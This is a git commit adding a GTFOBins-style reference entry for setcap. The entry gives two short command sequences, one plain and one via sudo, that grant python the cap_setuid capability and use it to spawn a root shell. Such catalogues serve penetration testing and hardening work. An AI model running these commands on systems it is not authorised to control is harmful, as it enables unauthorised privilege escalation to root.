Create setcap.md

Adding setcap suid and sudo exploits
This commit is contained in:
Sofia Engvall 2024-06-19 00:49:36 +02:00 committed by GitHub
parent 2afe22a27b
commit 7c09fc2506
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

15
_gtfobins/setcap.md Normal file
View File

@ -0,0 +1,15 @@
---
description: sets and removes capabilities on files
functions:
suid:
- description: Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid.
code: |
cp $(which python) .
setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
sudo:
- code: |
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
---